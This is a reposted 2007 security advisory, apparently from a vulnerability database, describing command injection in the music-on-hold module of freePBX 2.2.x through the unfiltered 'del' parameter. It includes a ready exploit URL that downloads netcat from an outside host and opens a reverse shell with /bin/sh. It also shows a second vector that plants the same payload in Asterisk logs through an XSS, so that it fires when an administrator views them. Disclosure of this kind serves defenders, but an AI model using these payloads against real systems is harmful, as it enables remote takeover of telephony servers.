freePBX 2.2.x's Music-on-hold Remote Code Execution Injection

2007.05.02
Credit: XenoMuta
Risk: High
Local: No
Remote: Yes
CWE: N/A


CVSS Base Score: 6.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 8/10
Exploit range: Remote
Attack complexity: Low
Authentication: Single time
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

I've found a code injection in the music-on-hold module at freePBX's portal. There are Inssuficient filters in the delete functions. Only " ' and ; are being filtered. Vulnerable Lines: 300: $rmcmd="rm -f "".$path_to_dir."/". $del."""; 301: exec($rmcmd); Example code: http://<freePBX-host>/admin/config.php?display=music&del=`wget -q http://xenomuta.coolinc.info/nc -O /tmp/nc``/tmp/nc myhost.mydomain.com 1234 -e /bin/sh`&category=default You can inject this code without access to the portal into the /var/ log/asterisk/full this way... ./asteriskxss.php asterisk-server "<img src="/admin/config.php? display=music&del=`wget -q http://xenomuta.coolinc.info/nc -O /tmp/nc ``/tmp/nc myhost.mydomain.com 1234 -e /bin/sh`&category=default">" hoping that an administrator to view the logs from the portals.... using the documented XSS vulnerability posted here... http://lists.grok.org.uk/pipermail/full-disclosure/2007-April/ 053882.html -------------- next part -------------- A non-text attachment was scrubbed... Name: smime.p7s Type: application/pkcs7-signature Size: 2425 bytes Desc: not available Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20070421/af7f0d9a/attachment.bin


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top